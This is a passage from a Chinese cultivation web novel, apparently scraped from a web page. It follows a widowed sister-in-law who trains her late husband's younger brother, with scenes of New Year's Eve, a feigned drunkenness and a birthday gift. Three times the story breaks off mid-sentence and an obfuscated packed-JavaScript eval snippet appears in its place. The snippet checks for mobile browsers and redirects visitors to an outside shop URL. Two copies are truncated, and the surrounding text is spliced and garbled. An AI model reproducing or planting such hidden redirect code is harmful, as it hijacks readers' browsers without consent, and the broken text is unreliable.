几乎跟苏珩一样的眼睛,让她想起了初见那日,苏珩弯着眼向她伸出手,将那时快被积雪掩埋的她救起。 眉眼弯弯,笑容爽朗。 泪珠滚动,泪眼相视间,苏以墨只听得她轻声喃喃:“子谦……” 4. 嫂嫂 她几乎要情不自禁地抚上他脸庞。 在苏以墨抬首,因为光线而微眯了下眼睛时,秦月华骤然清醒,即将触碰到肌肤的指尖,蓦地顿住。 她眼角还挂着泪痕,甚至睫毛上都是细密的水珠,被浸洗过的眼睛乌润润的,清亮逼人,让苏以墨想起了阳光下泛着光华的黑宝石。 秦月华没有再看他,只是收回手,背过身去,默默用衣袖拭泪。 身后的少年轻眨两下睫羽,彻底适应略显刺目的阳光,才重新将目光凝聚过去。 他从未见过眼泪这样多的人。 或许是出身修仙大宗,爹娘都是修仙强者的缘故,他自幼接触的弟子,皆是个中佼佼者,或是矜持,或是自傲,很少会有当面流泪的。 他的兄长,更是年少成名。 每次相见,兄长总是笑眯眯的,就像是遇到数不尽的好事,笑容常挂嘴角。 那样爱笑的兄长,竟会娶这样一位眼泪都能将他淹没的人做妻子? 苏以墨思绪飘散间,秦月华已经整理好自己,衣袖轻挥,只余眼眶还未褪去流泪后的红晕。 “嫂嫂……” 少年微抿唇,很明显地流露出歉疚与担忧。 秦月华已然恢复先前的从容姿态,只是视线瞥去,经过他的双眼时,像是在躲避什么,仅一眼便掠过。 那双与苏珩一模一样的眼睛,初见便足够冲击,让她些微失态,情难自禁,后面的汹涌泪流,既有真情,也有做戏—— 无非是想再取信苏以墨一些。 “无事。” 女人似乎是想安慰他,笑一笑,只是扯了扯唇,唇角勉强牵起一点,便倏然下落。 她笑不出来。 秦月华索性扬起脸,看向院中一角,自然而然地转移话题:“阵法已成,抱元守一,运转这几日我教你的心法。” 南山灵气不旺,并不适合初学者由凡入道。 故而这些时日,秦月华一直在布置灵气聚集的法阵。 她于阵法一道只称得上略懂,需得用品阶不错的法宝做阵眼,源源不断地将灵气汇聚而来。 眼下,这座院落的灵气,虽远远比不上那些修仙宗派,但也足够苏以墨轻松踏入修仙路。 …… 日头高悬。 院中积雪有些耀眼的白,少年穿着件纯黑的裘衣,皮毛制成的衣领拢住颈部,他背靠轮椅,闭着双眸,运转心法。 起初,只是一丝灵力涌入体内,渐渐的,灵气增多,顺着经脉缓慢流淌。 随着心法运转,灵气形成周天循环,一圈圈地循环下来,需要汲取的灵气也愈发磅礴,最终达到了一个惊人的量。 被阵法聚集的灵气,形成了一个小小的龙卷,不断被苏以墨吸纳,连带着阵眼的法宝都在铮铮作响,边缘甚至有碎裂的迹象。 秦月华只能施法加固。 虽然知晓主角入道不会简单,但这几近要将聚灵法阵吸干的程度,仍旧令她惊异。 当年她入道的资质,连师父都止不住地惊叹。 苏以墨,比她当初尤甚。 更不用说他还有与天书,原文里被称作记录万千神通的神物。 有此神物,于苏以墨而言,如鱼得水、如虎添翼。 尽管秦月华很馋那本与天书,但目前明显没有机会一观,至于剩下的成仙机遇,倒是可以再争一争。 秦月华愈发坚定起做好苏以墨嫂嫂的念头。 少年这一入道,便是三个时辰,从明日高悬到日落西斜,额头都渗出细细密密的汗珠。 他眉宇皱着,睫毛不住地震颤,好似在经受极大的痛苦。 初次入道,灵气吸收越磅礴,身体洗髓蜕变得也就越彻底。 体内的污浊之气尽数排空,少年发愈黑,肤愈白,那莹润的光泽,好似身处山间云雾里,从翠色灌木间,瞧见一颗正在焕发光彩的珍珠。 本就是难得的雪色,先前略显苍白,此时却更添几分晶莹玉润之感。 像是再支撑不住,在阵法出现破损之前,苏以墨睫羽颤动,缓缓睁开,与此同时,抿紧的唇角流下一丝血线。 不等他做出反应,眼前便递过一张绣着明月纹样的帕子。 雪白巾帕被素手捏住。 苏以墨接过,擦干唇角溢出的血痕。 “过犹不及。”女人的语调仍是冷冷淡淡,“量力而行,不要硬撑,倘若伤到经脉,便是得不偿失。” 明明是关心的话,却因为平淡而失去温度。 苏以墨握着巾帕,抬首去看。 同那缕清冷的声调一样,她的面容也是极平静的。 分明生得过分秾丽,神色却冷静端肃,好似除了与兄长有关的事会令她失态外,其余任何事都难在挑动她的心神。 苏以墨生在万法门,知晓初入道的修仙者有哪些测定资质的方式,也隐约知晓自己的天赋是何等阶。 中州与北地不同。 北地修士引灵入道,以引灵的多少来测定资质,中州则用妖物制成的昂贵法器测试根骨。 引灵坚持一盏茶的时间,便等同于普通中州修士的资质,一炷香则是中等资质,而超过半个时辰,便会被修仙大宗亲自接引。 曾有初入道,引灵两个时辰的北地修士,一人一剑,纵横中州,将整个中州大宗压得抬不起头。 即便是底蕴深厚,天才辈出,被誉为中州第一宗的第一仙门,在这等不世出的天资下,也尽失风采。 苏以墨的天资,还远在那人之上。 秦月华神情淡漠,少年同样不以此为荣,就像是结束最简单的一次入道,他擦净唇角血痕,缓声应和:“是我逞强。以墨谨遵嫂嫂教诲。” 身前女子不语,将摇摇欲坠的阵法稳固后,便向他伸了手。 掌心摊开,是一颗漆黑丹丸。 苏以墨接过,独属于药草的清香飘入鼻尖,仅仅是嗅闻,便知是上好的疗伤丹药。 他将丹丸塞进口中。 紧接着,眼前那只覆着薄茧的掌心又递来一颗红丸。 苏以墨微怔,捏起那颗红丸,能嗅到一点轻浅的药香,却又不浓郁,舌尖抵住时,是微酸甜的滋味,似是山楂糕,瞬间冲散了口腔里的血腥气。 他蓦地抬首。 秦月华却早早收回了手,走向院内墙角的阵眼处,对法阵进行二次加固。 女子身形单薄,背对着他,一身素衣,就连挽发的木簪都是简单的桃木,近乎与发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年睫羽垂落,彻底遮住毫无情绪的瞳孔,半撑着脸,倚在轮椅里,像是睡了过去。落日余晖映在莹白的面容上,光晕朦胧,好似即将羽化的小仙人。 秦月华回头时,看见的就是这一幕。 四周的时间都好似慢了下来,眼前是一副再温柔不过的美人画卷。 当真是一副好皮相。 不怨那女修眷恋不舍。 傍晚院里吹起了点风,掠过衣襟时,有些寒凉。秦月华走过去,叫醒他:“此地有法阵聚灵,从明日起,每日修行三个时辰。” 瞧着少年精神不济,睡眼朦胧的样子,秦月华微顿了下,语调都难得低了些:“回去再睡。” 明明仍是平淡的语气,却像是在哄。 少年似醒非醒,恍若还在梦里,语气也跟着黏黏糊糊的,好似说了千百遍那样:“知道了知道了。” “阿娘……” 那两个字很轻,却将他彻底惊醒,注意到面前的人,那双熟悉的桃花眸微怔,随即自然而然地弯起,露出了足够温柔的笑容:“是嫂嫂啊。” 他复又说:“我知道了。” 5. 醉酒 自从法阵运转,聚集灵气,院中连鸟雀都多了起来。 一只只落在院墙或是黛瓦上,排成排,一大早便叽叽喳喳的,比村里的鸡鸣还要准时。 苏以墨便伴着这样的鸟雀嘲哳声,每日晨起,吸纳晨时那一缕最为精纯的灵气。 接着便是为时三个时辰的修炼。 他双腿无法站立,便坐在轮椅上,安静吐纳灵气,修习心法,以及一些简单的小法术。 就算秦月华先前再怎么在心里骂他小废物,此刻却也不得不承认他的天资之聪慧。 只要是他看过一遍的法术,下一回便能轻轻松松使出。 秦月华见过不少这样的天才,大多恃才傲物,眼高于顶。苏以墨却不觉得有什么,每次练完,只会安静看向她,再问一句嫂嫂对不对,是不是这样。 的确如苏珩所言,他的阿弟很乖。 苏以墨聪慧,也让秦月华省心许多,愈发专注自己的修炼。 最初入照雪宗时,宗门弟子练五个时辰,秦月华便多练一个时辰,宗门弟子每日挥剑五千下,她便挥剑八千下,最后手都抖到握不住剑。 细嫩的手掌被磨出血泡,接着被磨破,剑柄全是掌心血,一层又一层地流淌下去,直到磨出再也磨不破的茧。 她就这样练了一年又一年。 也是因为这样,她的修为远超同龄人,甚至被宗门弟子用来与那位出身尊贵,宛若高悬明月的少宗主陆丛雪所比较。 就算曾经卑若尘埃又如何? 她想要,便会争取得到。 修为是,成仙亦是。 院落空间不大,苏以墨待在屋檐下修炼法术,秦月华则在院中心无旁骛地练剑。 她能练足三个时辰还意犹未尽,仿若不知疲累,收剑的动作利落干净。 她的剑看似轻飘飘的,若雪雾般漂亮,实则攻势极强,招式千变万化,不拘泥于任何剑术秘籍,像是将当下能搜罗到的剑术尽皆融为一体。 一招一式,从容不迫,手中剑宛若变成了她身体的一部分。 这并非一朝一夕所能达到的境界。 苏以墨想到她手掌的薄茧,想到她搭在自己手腕时的些微粗粝感,依稀可见过去的刻苦岁月。 他微微凝神,专注于她的剑术。 对门的三个孩子,此时也趴在小厨房的窗户前,将脑袋凑在一起,目不转睛地看。 先前悬梁被救下的三丫娘,病好以后,感激仙长当夜收留幺儿,便让孩子们送了白菜跟腊肉过去。 小孩不如大人那般对修士敬畏,更多的是崇拜与好奇,一来二去,三个孩子便同秦月华熟悉了,总喜欢过来帮忙。 有时候是带几捆烧火用的细枝,有时候替她择菜、烧火,打扫厨房。 有三个忙不停的孩子在,院子的角角落落都是干净的。 此时,三个小孩也被留在小厨房里吃东西,但往日里最喜欢的蜜饯、蜜橘都没有剑法来得吸引人。 三个孩子挨在一起小声说话。 “感觉仙人姐姐的剑能杀死妖怪!”三丫攥着拳头,眼里亮晶晶的。 “我也想杀妖怪哩,先前村里死了好多人,阿娘说是妖怪作祟。”二丫叹气。 大丫咬着橘瓣,说得含混不清:“我杀不了妖怪,大宗门的仙长说我没修炼天分……” 万法门每隔五年就会派弟子下山,前往中州各郡,测试六岁以上孩童的资质。 大丫是刚满六岁那年测试的,测灵法器只有一点极细微的反应,修炼天赋极低,只得了“毫无资质”这四个字。 大丫自幼就被夸聪明,当时面对爹娘饱含希望,又瞬间黯淡的眼神,心里难受极了,但也只能装作满不在乎,继续好吃好喝,好似完全不受影响。 她一度抵触修仙,甚至不想再听到有关仙神妖怪的任何事。 可她不抵触仙人姐姐。 仙人姐姐没有眼睛长在头顶上,还会给他们好吃的,身上香香的,法术还超级无敌厉害。 大丫不喜欢万法门仙长,但喜欢仙人姐姐。 她也是三个孩子里最有主意的,瞧着两个妹妹渴望的眼睛,大胆提议道:“你们没有测资质,或许能修仙,从明日起,便也跟着仙人姐姐学招式罢。” “好!”两个妹妹应声喝道。 于是,从翌日开始,大丫负责拿炭笔在草纸上记录招式,两个妹妹则偷偷拿着细长的树枝,躲在小厨房里,将树枝舞得虎虎生风。 奈何秦月华练剑时的招式实在太多,也太快,大丫急得抓耳挠腮,在纸上努力画着小人图。 时隔几日,三个小孩依旧兴趣不减,并且有越挫越勇的迹象。秦月华这才适时抓包,让她们得以在明净的院落里,暖融的阳光下练剑。 秦月华其实并不太管她们,只是练完剑,像是心情好了,偶尔会指点一二。 两个小孩跟着练了十多天的剑,没喊苦也没喊累,纵使小胳膊小腿的累到抬不动,仍旧在每日练剑结束,回去之前,将院落清扫干净。 大丫不跟着她们舞树枝,只是负责画图记录。多日下来,一叠草纸累积起来,倒也像个有模有样的剑谱。 小孩们学练剑,只顾着用力甩手中树枝,腿脚跟不上,也不知往哪放,姿态怪异,看上去格外滑稽。 坐在屋檐下的少年,每日练完法术,都会托着腮,观看这可以称得上令人发笑的滑稽“表演”。 可就是这样滑稽的“玩闹”,秦月华却教了她们最基础的入道心法。 南山村村民普遍识字率不高,只有一户以采药为生的,时常要同山下药铺来往,略识得一些字。 那家的女儿很爱读书,大丫想识字,便同她玩,也跟着识了一些字。 因为大丫,只三日,两个妹妹便背完了拗口的心法,嗓音虽稚嫩,却极为洪亮,一字不差。 当天,秦月华便教她们如何运转心法,再借助聚灵法阵,让二丫与三丫皆由凡入道。 三丫只坚持了一盏茶的功夫,二丫个子小小的,又黑又瘦,却攥紧了拳头,小小的身躯盘坐在那,背脊挺直,生生撑过了一炷香的时间。 秦月华睇了眼正在埋头记录心法运转方式的大丫,知晓她被万法门所拒的经历,并未去戳破她努力维持的自尊心。 秦月华只是更细致地说了一遍如何运转心法入道,以及入道以后,该如何进行基础修行。 三个小孩站在院落一角,都听得很认真,眼眸晶亮亮的,就像是获得了宝藏,喜悦难以藏住,在阳光下熠熠生辉。 远远的,苏以墨修炼结束,遥望过去,眼角染着红晕的桃花眸,似笑非笑,眼底却毫无情绪,仿佛是在看最普通的山水风景。 他其实不太明白,人为何总喜欢做一些无用的事。 像她这样有天分,又足够刻苦的修士,相比于教导两个天资不高的入道者,不如将这些时间用来继续提升自己的修为。 在苏以墨看来,秦月华的行为,完全是在浪费时间。 就同阿爹阿娘一样。 他生来经脉阻塞,无法修炼,阿娘便怕他难过,屡屡陪伴他、鼓励他,荒废了修炼。阿爹同样如此,踏遍中州,也曾数次前往北地,想要为他寻得仙药,将时间都浪费在赶路的途中。 阿爹阿娘是因为爱他这个他们所生的孩子,他们之间有扯不断的血缘牵连。 那,她又是因为什么? 她同这些孩子,非亲非故。 苏以墨仔细想了一下。 或许是出于什么拯救弱小的心理罢。 他移开视线,兴致缺缺地靠在轮椅上,阖眸假寐,实则在脑中翻阅一本书页闪烁金光的书籍—— 《与天书》 这是他坠崖后,拖着伤腿,向前挣扎求生时,偶然按住的一本书。 掌心鲜血没入书籍封皮,下一瞬,便化作一团金光,钻入他的眉心。 《与天书》以血结契认主,记载世间万千神通术法,有极不起眼的小法术,亦有毁天灭世的神通。 苏以墨很随意地翻阅,宛若在看一本最普通的书籍,一页一页地金光在脑海里掠过。 * 南山地界一连晴了好些天。 先前那场封山的大雪好似已经过去了很久,恍若隔世,连绵的雪色褪去,露出了山峰原本光秃秃的灰败样貌。 过了冬月,便是一年的最后一月。 临近新岁,南山村家家户户都开始打扫,去镇上购置物品,准备迎新年,除晦气,以祈来年风调雨顺,岁岁平安。 孩子们受了仙长天大的恩惠,对门的猎户夫妻主动添置了许多东西,大包小包的,托三个孩子送过去。 有爆竹、灯笼、桃符、年画,还有新衣、水果,并一些南山地界特产的糕点,以及一些需要用到的日用品。 除此以外,大丫还带来了两坛酒。 一坛是南山特产的梅酒,一坛是贺新岁的屠苏酒。 面对三个孩子殷切的眼神,秦月华尽数收下,随后给了她们各自适合的剑谱,就连大丫都收到一本,当做新岁贺礼。 孩子们如获至宝,个个露出欣喜的目光,面庞绽放笑容。 看着那一张张高兴的面容,秦月华微微笑着,神色也跟着恍惚了下。 她当初收到的第一份新岁贺礼,也如她们这般,惊喜之余,难掩高兴。 从秦月华记事起,一直到十四岁由凡入道,都没有收到过所谓新岁贺礼。 十四岁以前,连活着都极为艰难,等成了修士,修士却已经不过凡人的习俗了。 奈何苏珩是个奇怪的修士。 他不仅会过凡人的节庆,还喜欢过得热热闹闹。尤其是新岁,最开始说是家人团圆的日子,后来说是弟弟的生辰。 秦月华遇到苏珩的那一年,他正少年意气,哪里都敢去闯一闯,听说北地有成仙机缘,便禀了爹娘,连夜从中州赶赴北地。 北地连年大雪,酷寒之地。 偶然救了她以后,得知她是护卫北地防线的修士,苏珩真切地表达了敬佩之情,并且向她提出同行的请求。 此后,风雪酷寒,秦月华有了可以交托后背的同伴。 那年新岁,她收到了人生第一份新岁贺礼—— 为苏珩所赠,是他搜罗多年的剑术秘籍,以及洋洋洒洒半本书的剑术心得,还啰啰嗦嗦地说,月华,你可不要辜负前人的智慧啊。 她当年还不会表达喜欢,只是郑重地同他道了谢,约好来年比剑一场,绝不让他失望。 当时苏珩是如何说的? 苏珩笑得眼睛都弯成了月牙,等笑够了,方才叹道:“哎呀,月华你真的是……满脑子时时刻刻都是修炼,还是小孩子的年纪,不要让自己那么累啊。” 他絮絮叨叨地说,说他小时候爹娘总喜欢带他下山去过凡人节庆,说节庆景象是多么壮观,说中州小孩贺新岁多么顽皮,还偷拿他的竹蜻蜓,最后飞到了爆竹里,被炸得噼里啪啦。 秦月华当然知道凡间节庆的热闹景象。 幼时,她最喜欢节庆。 只是那家家户户,没有一盏灯笼是为她亮的。 待新岁的热闹过去,夜色沉寂,远处檐下的灯笼被风吹得微微晃动,那点昏黄的光晕,好像也给她笼了一缕光,让身体都跟着变暖了些。 后来,但凡苏珩不回中州,都会在新岁之际将北地边防布置得焕然一新,热热闹闹,同修士们打成一片。 他就是这样一个谁都会喜欢的人。 秦月华从恍惚里回神,倏尔一笑。恍若春色里招摇盛放的牡丹,鲜丽明媚,让几个孩子不由看呆了眼。 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117047|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是最简单的素衣,也难掩那抹足够招摇动人的秾丽绝艳。 苏以墨坐在半开的轩窗前,凝着院门前的那一幕,仅看一眼,便继续用刻刀去雕琢手里的那块木头。 再过两日便是岁除,先前那些长长的白幡渐次取下,替换上大红的灯笼,喜庆的氛围在小小的南山村里弥漫开。 左右邻里又开始重新走动。 秦月华住得偏僻,又是仙长,村中无人来敢打扰,因而即便是最热闹的岁除,仍清净许多,隔着院墙,只能远远听到孩子们追逐嬉闹的笑声。 就像是最寻常的人家,秦月华在檐下悬挂灯笼,贴了窗花,煮好饺子,同苏以墨一起守岁。 少年是个极让人省心的。 修炼一点即通,法术一学就会,性子安静,平时除了看书,闲暇之余最喜欢的就是雕刻木头。 空间戒里有几块不错的木料,秦月华统统给了他。 他用紫檀木雕了两只憨态可掬的肥美小兔子,在岁除当夜,一只放在窗前,一只送给了秦月华。 二人坐在小厨房里,围炉烤火,炉子边缘放着花生蜜橘,旁边矮桌上摆着干果糕点,以及两碟煮熟的饺子。 秦月华难得饮了酒,炉火明亮,衬得那张微红的脸愈发艳若桃李。 她似是醉了,连话都变得多了些:“去年这时候,我还在北地,同你兄长一起守卫边防。万里冰原之地,妖兽倾巢而出,岁除夜,是用血染红的……” “子谦他,是个极好的人。” “他本不必守在北地,说是来寻求机缘,但却看不得百姓受苦,在这里守了一年又一年。” 秦月华眼角沁泪,像苏珩往日里那样,絮絮叨叨地说着,念着。 她半边身子几乎都倚着矮桌,因为饮酒,整张脸都彻底染上红霞,眼角发红,眼瞳里晕染酒意,雾蒙蒙的。 苏以墨置若罔闻,捻起一块兄长平日里吃的甜糕,尝了下。 不管吃多少次,都太过于甜腻。 他将咬了一口的糕点放下,随口说着:“嫂嫂,你醉了。” “子时快过了,先回去歇息罢。” 对于这种热闹的凡人节庆,阿爹阿娘还在的时候,年年都会带他下山去过。 苏以墨既不觉得欢欣,也不觉得吵闹,只觉得影响他研究毒经。 只是久而久之,他也习惯了。 习惯了凡人有许许多多过不完的节庆。 他坐在轮椅上,双腿尚且还不能行走,只能等秦月华自己清醒。 炉火正燃着,火光明亮,女子侧身倚着矮桌,面庞呈现醉了的绯红,眼角还有明显的湿意。 厨房里并不冷,可苏以墨仍是取过手边的薄毯,披在秦月华的肩上,将她单薄的身躯完全拢住。 约莫半盏茶的功夫,秦月华陡然惊醒,径直坐起,醉意朦胧的眼看向四周,直愣愣的,好似不知今夕是何夕。 半晌,她才垂眼揉了揉鬓角。 “什么时辰了?” 苏以墨侧首望向窗外的夜色:“刚过子时。” 秦月华取下薄毯,起身道:“我先送你回去。” 推着那架略显笨重的轮椅,路过院落时,在泥土里压出明显的车辙。 四周静寂,只有檐下亮着的灯笼微微晃动。 将苏以墨送回卧房,她才出去,脚步相比平时要显得凌乱些,明显还醉着。 今夜无月,家家户户的灯笼高悬,每一点昏黄的光晕,连接起来,照亮了整个南山村。 在爆竹声响起之前,主卧的门扉杳无声息地被推开一扇。 少年披着外衫,缓步走出。 灯火映亮他颀长的身影,如松如竹,哪里还有白日里不良于行的模样。 苏以墨行至秦月华平时休息的厢房外,却没有急着进去,而是阖眸感受了下灵虫的迹象,随即施展空间传送术。 《与天书》里有不少有趣的小法术,苏以墨平时稍微研究了下,比如凡人里流传的穿墙术,被他稍稍改动,就变成了短距离的空间传送术。 再譬如各种小灵虫,以最普通的天地灵力化成,具有不同功效。因为于身体无害,湮灭后也仅是重新化作灵气,所以很难被发现。 方才,苏以墨给秦月华披上薄毯的时候,便悄然放了两只灵虫。 一只,是为感知身体的活动迹象。 另一只,则在秦月华扯下薄毯时,悄然融进她的身体里,只为加重她的醉意。 知晓秦月华彻底熟睡,苏以墨传送进房间里。 灯火透过窗棂跃入,床帐未落的榻边,无声无息地出现了一道身影。 借着昏暗的光线,他能清晰地看见榻上的景象。 女子彻底醉得不省人事,侧躺在榻上,连外衫与鞋袜都没有脱去,那块苏以墨熟悉的蟠龙玉佩还悬挂在腰间,翠色莹润。 苏以墨知晓玉佩是真的,并没有多看,只是观察须臾,便透过灵虫,将苏珩已死的消息,传递给醉过去的女人。 不多时,床榻里传出轻声啜泣。 “子谦,子谦……” “成亲才三月,你怎能这样狠心……” “带我走罢。” “你带我走罢!” 像是陷入醒不过来的梦魇,女子身体颤动,满面泪水,痛哭到不能自已。 那哭声悲怆,旁人听了都能红了眼睛,苏以墨却只是站在那,静静地观看。 哭声渐息,偶有一两声啜泣传出。 随着两只灵虫湮灭,床帐旁遮掩的少年身影,也再度悄无声息地消失。 不知过了多久,直到第一声鸡鸣后,南山村里接连的爆竹声响起,秦月华才慢慢睁开略显黏粘的眼睛。 她面庞跟眼周还是酡红的,分明是醉酒的神态,可眼底却一片清明,哪里还有半点醉意。 6. 高热 最初,秦月华是不会喝酒的。 十四岁以前,她连温饱都是问题,十四岁以后,初入照雪宗,更是将吃饭睡觉以外所有的时间都用来修炼。 剑术、法术、阵法、医术、炼器等等,她一边学习一边认字,最后将能修炼的,尽数学了一遍。 只是天赋的确有高低。 或许她修仙的资质不错,剑术上也有些悟性,但阵法与医术,即便下足了功夫,最后也只是学了个皮毛。 领她入门的是照雪宗长老陆逍遥,曾是照雪宗第一人,当年为了挽救北地,伤了根基,修为再难寸进。 可即便如此,他仍是除了宗主以外,照雪宗的最强者。 陆逍遥平生最大的爱好便是捡人、救人。 像她这样的,此前,陆逍遥已经救了数十个,其中不乏有动了歪心思的,或想做他徒弟,或想做他道侣。 前者,陆逍遥的要求很高。后者,陆逍遥从未考虑过。 秦月华是做徒弟里唯一一个坚持下来,没有半路逃走的。 对方一日又一日地坚持,流血流汗都从未抱怨过一句。陆逍遥虽然嘴上不说,但打从心底里认可这个徒弟,并为之骄傲的。 除了爱好救人,陆逍遥还喜欢喝酒。 秦月华投其所好,想着将他的一身本事全部学过去,私下便搜寻好酒,练习酒量,同师父畅饮。 最开始,她是一杯倒的酒量,到后来,已然是千杯不醉。 可酒意仍会晕染面颊,乃至颈部都是酡红的,像是彻底醉了。 先前,她是故意醉的,借此做戏,没想到苏以墨也会借此来试探她。 好在欲妖一事上,秦月华吸取教训,将探灵的法器改进,随身携带,时刻观察四周细微的灵力波动。 因而灵虫甫一出现,便被秦月华发现。 她将计就计,引出苏以墨,继而在他的面前,又做了一场戏。 装作被外面的爆竹声惊醒,秦月华缓缓起了身,仍穿着那件被蹭皱的素色衣裙。 她先去用热水洗了脸。 紧接着,像南山村村民那样,在门前燃烧整段竹筒,响起“噼啪”的爆裂声。 院门上挂了新桃符。 做完这些,秦月华复又回了房间,脱去衣衫鞋袜,一觉睡到天亮。 * 新岁这一日,南山村极为热闹。对门的三个孩子都穿了新衣,就连一直穿姐姐们旧衣的三丫,也穿上了新袄。 隔着院墙,都能听见小孩们玩乐的笑声。 昨夜爆竹声响了许久,苏以墨浅眠,索性继续翻阅《与天书》,直到天明才结束。 他起身,习惯性地去摸枕后未刻完的木雕。 与木雕一起的,他还摸到了一个小小的指环。 指环太小,以至于昨夜都没有发现。 苏以墨拿出来看,是一枚颜色漆黑,制式古朴的空间戒。 中州的空间戒偏向于外观精致,大多会在表面镶嵌细碎的宝石,或是用颜色鲜亮的材料制作,北地并不注重外观,只用合适的材料,因而看上去极不起眼。 他手里的这一枚,很明显是从北地所出。 苏以墨用灵气探入,里面空荡荡的,唯有一个钱袋丢在那里。 他取出钱袋,入手沉甸甸的,解开系口,里面尽数都是灵石。 就像是过去爹娘还在的时候,每回岁除夜,阿娘都会将一只装满灵石的钱袋压在他的枕下。 阿娘说这是压岁钱。 祈愿他能岁岁平安。 那一粒粒的灵石,闪烁着微光,让他的眼睛似也跟着闪了一下。 苏以墨握着钱袋,有些微地出神,瞳眸深邃,却没有任何情绪,只是垂着眼看了会儿,随即收起钱袋,重新放入空间戒。 像往常那样,每日晨起,进行三个时辰的修炼。 少年很安静,只有在遇到疑惑处时,才会同秦月华说话。 他说话的语调徐徐的,咬字有些软,好似春风拂耳,听起来很舒服。 不怪他爹娘、兄长都宠着他。 秦月华神色如常,像昨夜的试探不曾出现过,甚至在他修炼结束时,还送了他一柄折扇。 “生辰礼。” 即便是送贺礼,也仍是一副冷冷淡淡的语调,好似不是在送礼,而是在向旁人要债。 同秦月华相处了一个半月,苏以墨也习惯了除却兄长之事外,她一以贯之的平静从容。 “谢谢嫂嫂。” 少年坐在轮椅上,稍抬起头,眉眼微弯,含笑接过。 他的生辰在新岁这一日,每年都会收到数不清的生辰礼,有爹娘与兄长的,还有万法门掌门与一众长老的。 今年,是他的十七岁生辰。 阿娘、阿爹、兄长都业已不在了。 苏以墨轻轻叹息一声,随即打开折扇,无边的雪色在扇面里流淌,点点细雪飘落,形成了万里冰原的雄浑景象,隔着扇面,仿佛都能感受到那股将人寸寸割裂的冰寒气息。 扇骨洁白,触手温润,不像是玉石,反倒像是某种兽类的骨头。 仅是握着它,便能感觉到其中蕴含的磅礴灵气。 即便苏以墨曾是修仙大宗的峰主之子,见过无数宝物,也知晓这是一柄极难得的顶尖法器。 他下意识朝秦月华看去,对方也正向他看来,准确来说,是在看他手里的折扇。 她视线像是定住了,看了很久,方才出声道:“原本是送你兄长的生辰礼,如今他不在了,便尽数融了。” “你兄长的是剑,不适合你。” “此扇名琢玉,能提高法术威力。” 她声线有些低,像是轻飘飘的风:“将它送与你做生辰礼,子谦应当会很高兴。” 这原先的确是送给苏珩的生辰礼。 扇骨取自北地极罕见的石兽胸骨,坚不可摧,她收集了许多年,才堪堪能打造一柄长剑。 如今送不出去,倒不如融了二次利用,给苏以墨准备一份足够分量的生辰贺礼。 不仅能体现她这个做嫂嫂的心意,还能避免他日后同她争夺神物之一。 寥寥的话本信息里,秦月华不知道那些神物散落在哪,只记得名字,其中有一样神物,名为乾坤剑。 虽然她对自己现在的剑很满意,但象征成仙机缘的神物,那自然是多多益善。 苏以墨不知道秦月华心里打的小算盘,只是握着手里的折扇,又道了声谢。 他并不在意这先前是不是送与兄长的,只知这的确是柄不可多得的法器。 就像一个小孩子得到心爱之物那样,苏以墨将折扇反复开合,唇角翘起,扬着点笑意,满眼都是开心。 只是这份欣喜并没有维持多久,少年似是想起什么,合上折扇,密密的睫羽垂着,唇角微抿,笑意散去,有些丧气地说:“以墨没有为嫂嫂准备新岁贺礼。” 大概是家中幺儿,又跟秦月华熟悉的缘故,少年声调偏软,明明是在自责,却像是在撒娇。 秦月华默了默,取出那只用木头雕刻的肥美小兔子:“你已经给了。” 少年望着她,又看看她手里那只木雕兔子,眼眶都不自觉红了一圈。 他迅速垂首,用袖子擦了一下脸,声音闷闷的:“我,我日后会待嫂嫂好的。” 那副娇气又懂事的情态很自然,并不惹人讨厌,反而让人止不住地心里泛软。 秦月华觉得好笑,连语气都跟着关切许多:“嫂嫂明白你的心意,但现在最重要的,是要将身体养好。其他的事,日后再说。” 少年垂着头,又扯着袖子用力擦了两下,才闷闷地嗯了声。 倘若少年此刻抬头,秦月华便能看见,那袖子来回将眼睛都蹭红了,仍干干净净,没有落下一滴泪。 * 新岁过后,本该是万物复苏,春色盎然的时节,南山地界却又陆陆续续地下起了雪。 南山村的村民唉声叹气,都说是妖物在作怪。 桥西镇距离南山不远,先前村民下山购置贺新岁的物品时,听闻了许多镇上的怪事。 哪家的小姐在闺阁里睡着,便没了气息;半夜打更的莫名成了具干尸,离奇死亡;还有镇上首富家的公子,被挖心而死,丢尸在野外…… 诸如此类,闹得桥西镇人心惶惶。 听说前段时间,桥西镇去了许多仙长,这才将那些作乱的妖物收服。 如今又反常地陆陆续续下起大雪,俨然要像年前那样闹起雪灾,人人都说是世道乱了,妖物横行。 先前那一夜南山村死了许多人,村民们都觉得是妖物作乱,隐隐猜测出是住在村里的仙长收服了恶妖。 眼下,大雪纷飞,村民们亦在心里暗自祈求仙长解决灾祸。 …… 北地常年飘雪,秦月华早已习惯这样的严寒,修炼结束,便喜欢坐在小厨房里煮茶。 茶叶是中州特有的,清香而微苦,那点带香的苦涩萦绕在舌尖,久久不去,是苏珩平时最喜欢喝的。 苏珩还喜欢用苦茶配甜糕。 秦月华一开始吃不惯,后来倒也适应了这一苦一甜的滋味。 窗外漫天飞雪,小厨房里却暖融融的。 苏以墨坐在她对面,看着她熟练地煮茶,倒茶,饮茶,品甜糕。 动作行云流水,与兄长无二。 或许连她自己都没发现——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 